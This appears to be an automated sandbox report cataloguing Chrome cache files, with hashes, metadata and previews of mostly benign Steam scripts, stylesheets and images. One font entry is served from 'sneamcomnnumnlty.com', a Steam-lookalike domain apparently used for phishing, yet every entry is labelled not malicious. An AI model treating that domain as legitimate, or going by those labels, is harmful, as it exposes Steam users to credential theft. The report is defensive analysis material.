Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 137, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28667
Entropy (8bit):	7.9837637514425595
Encrypted:	false
SSDEEP:	768:a30Z4XWxlJVZOLiKhwbGUzCbN5gknK0fHcrNS8WVra:aEZ4XWR7OLiKhhhB5BfGNsVra
MD5:	D9871B81A9DAD8ACB788EBC2D3066F72
SHA1:	C5CF4295DB683221688EF2C6F9206C71F34F15AB
SHA-256:	BD837F4A2362D50B85A9C748B8DC9C3AA2F807CB838233DF513DF034DD604998
SHA-512:	CFAE8BD0D9564A5E96454AAAC8DC8CA2BA87CD5DAEB6D27DB26276B34033CF8170337C199CD1025641BE9DD584BD25A4FE6DF7836EBF22E75DCD47A4857DBCBD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............u.....pHYs.................sRGB.........gAMA......a...o.IDATx..Y.,K.&...G....)...k.....AB..O .....<.........#.+?......!!!$..!...7..{G..............{........>..hLg.....v.4...1.cev....\x..'3.....H...=&.c_.y..c.>v.<......^r.c...).;u.%.._g..q...i.c.x-.N9.R.%..8n.......}I../....#5....%.o..A.b.z..m..K.......k.K...q#..;....'/\.c...n+.n..-h..5.j@.....B.t....1....-.yve...M.-rk.d^.,s...}..;....Dp.^Ku}.$s...wy....a~.c.d..~[:.X...0...bC...+`.a9x.1 1......n_..[.RN\.%...y...=..9...<..^.ob.@S.z..j.....m....h.B.....k.S@D.}...9.v..........{.c.....=+..o.y................V#].K........n......;.}.\|`b.&.8V.u..{..P.M...L....7....N.....P..W..A...o.&.tj.rj...d.).H.....}.s.=.^......u....P?..'..<.=..I....."0....c.C....N.c....s)(....y6..+..../t.........!p..f.....n.O.?..M...%...l}......o.\.X.k.......=N..c..nD.u...TYz.y}...P..a"..#..<6.1..WV..b@.)0.............n.....wi.dP-.Ot.....@.A...u...4..;...m....4..o..&..p.......y...Y.

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29104, version 0.0
Category:	downloaded
Size (bytes):	29104
Entropy (8bit):	7.993786755731096
Encrypted:	true
SSDEEP:	768:9JxwZJhcx+M+6lxBZB3TRmltuaLuNo9aOjTC:uVcEM+Ayuaco9aOHC
MD5:	38A35C7070979FB4C845DE40CADA43C5
SHA1:	B0F804F348B746449E6589B92DFF685509737DAD
SHA-256:	FCFF4301DC083AF2BE2B990BB6485E9E06CE9D2B373A7ACF8A74F61EA69D861A
SHA-512:	E7E5B167FA9187EA785BE311F43E15F33D51C20E9D07E1E15E3A761A7B6A857B2AD270E3F0E6CB0D85327BC0AA3454646A2B5E040B30EDEDE216E57CC113F089
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e0751565c564646125377644741747d7b56.woff2
Preview:	wOF2......q........x..qT.........................`..`......Y.....l..e.6.$.."..... ..s. ..S........@.<D.....I.....CB..j..~..?...?..G..9o.@...A.D~.>...i.-_.....N..q$.$.'Z...V...S./Q.\.PUx...<...i.7_../.y.1A...K\.M....=^......K.....5s......B...W.HQ]S..{...U...4..8....p.....tw;.v"...~.u..M.IL...s.&. ........y^7.d.A...+..a. ;.l..$$@.......p@....Q..;..X..u....;p...mm.....m.>.......q.....X..F......T.....pU..........z..U.j..DJr.a.2.w:..K..G.?.`.8..kw.C.U..Me..M5[B.t.R.S.........c..? i.......<`8..]..!..ARaS..T....J...uHaS..r..w..>.\..]..........3.B..\t..w...........!DP!C..J.#.\|.p ..8..(....C.UV..m.j....J.]...ZLw~."A@...4...&.m..}#e...:..h8.."..N ...6$.%v...n..E.X.F.D....../.g..Zoo.........6...X.#S...y5.(^.D..E..j....E.Y:t..7.0.5b,0a..3.p.#.p...8......7...;<..'...^r..\.\|.\|..~..... .@...`..B.B.E.a.'..D .HD..h..C.b.....C<.H ..$".$$...R.J.HC:.. ..d.,;<.l..C.r..G. .\|.P.B.QD..)F.%(..e...rTP.JQE...F.5...u..z4.F..D..iF.-h..m...vt.N:.E...F.=..}...~X.b...2.!.0.0F

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	972384
Entropy (8bit):	5.832227573654786
Encrypted:	false
SSDEEP:	12288:ScMUDNR7fkrf13Y1AXUSkloAXp4IAoRnOSd0k8JFW5qsx:rJKfCGUSkloPzoRnOSZyFW5qsx
MD5:	4F4506F667B9E46FB591B41A4D34E26D
SHA1:	9807327119E84CD8EC7E953E6B2B995775895160
SHA-256:	676BEBD7F2729D5C605505B335F730375AC74880D3903C80393736B263DC0265
SHA-512:	4083E6AAA180EEB0B9F393F072159766B266C8DB8C298F104FD16BF10E2FEB10FD612BA0BEF7B7CD3BB1E8D5C6C0AA20529973683816399D60F582342D357156
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8997],{41735:(e,t,r)=>{e.exports=r(38681)},61238:(e,t,r)=>{"use strict";var n=r(51362),o=r(65072),i=r(74438),a=r(63724),s=r(47429),l=r(83862),u=r(24508),d=r(38466),c=r(35407),g=r(99461),p=r(97962);e.exports=function(e){return new Promise((function(t,r){var h,f=e.data,_=e.headers,m=e.responseType;function y(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("abort",h)}n.isFormData(f)&&n.isStandardBrowserEnv()&&delete _["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var v=e.auth.username\|\|"",M=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";_.Authorization="Basic "+btoa(v+":"+M)}var S=s(e.baseURL,e.url);function L(){if(b){var n="getAllResponseHeaders"in b?l(b.getAllResponseHeaders()):null,i={data:m&&"text"!==m&&"

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33528
Entropy (8bit):	5.2639142464616375
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJGMJhxJfS2:FpP1vZRxGLS2
MD5:	E8F16A7B1E543E9ADB78F6E12945515F
SHA1:	47263A98B74A253EA0BF72BFB6525EDC0BACB034
SHA-256:	3D0874AB563803918741EDFD0204AA756DF378544BF81E1874A538B17839500D
SHA-512:	305F068227A7B62BD472B797F6AB7C9C8B9199F7D038013C69F0101425ED364F960A03E3F931BF0A2B5F3BCF21DA174EB02732367AAAE4D9B4D75A9112439EEE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.407754547912838
Encrypted:	false
SSDEEP:	3:CMTkaasJusJE9RoE:/orsJrKfoE
MD5:	C85B970B4C832E361445C1B446CC2343
SHA1:	57E60C2F1F1F919A871B7C171C6D59D42E3ADBE5
SHA-256:	5CE28D7CF05F0E6EEAA3788A393D9980E9B51130963C6B9672D3447B6B11DE6D
SHA-512:	060B2BA825CD60EA3FAD5FCACE496A77B528210AEAB0092A24B4C438EB2ACAC4166E0C3B704CD3A4D8FA8FB034B0C7A4B5F45E242A7BDAD26580F3236382620E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,.............h....I.Q9+\|.S]..;

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	89316
Entropy (8bit):	5.660692146381461
Encrypted:	false
SSDEEP:	1536:ONnJeaPWZxrmucwoMf1abY1oB2n70HupuF8P+WaVgDYqiaiiP1rNUEsANnMxafTx:ytlDKHUnweoQk
MD5:	70D168FD2358727EE4DC089670B4430C
SHA1:	7608A16C5A93D0CB7DB2B2F0DE77B5E1FF07BD17
SHA-256:	BFC9BFA0C591D7665BBB9CE469612255D7279029D32246BFFEFD1F8AE5C589F6
SHA-512:	A4C247509116C2B127C6FD1DCF66B1231FACA39EE1A5FF2B4BD401C949B9B56D2098C9FB54BD993E6ABA218A31F0A4C46B9E59F5C33F87B789F5736CB68A16F9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3412
Entropy (8bit):	7.894932754388399
Encrypted:	false
SSDEEP:	48:DVocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODx3OV8GFT:JZ/I09Da01l+gmkyTt6Hk8nTx+VJB
MD5:	59722F8B05D32484FBD8853CBF7859F2
SHA1:	8C9A1B988324BB779BF273DCFB62E993103757CA
SHA-256:	FCBB90319848B9823C6829ED4ABBA0720F06674AE7E7FF762ABE3B905DD3E24E
SHA-512:	A995853C47F43E3FC1291D6E2E1846B34A629D07D6189F33F79DF84A9E381DB87536A7B7AD183F123B30AF9FC19BDDB5367B987741D0CA3F1DF86B849FF1A7AC
Malicious:	false
Reputation:	low
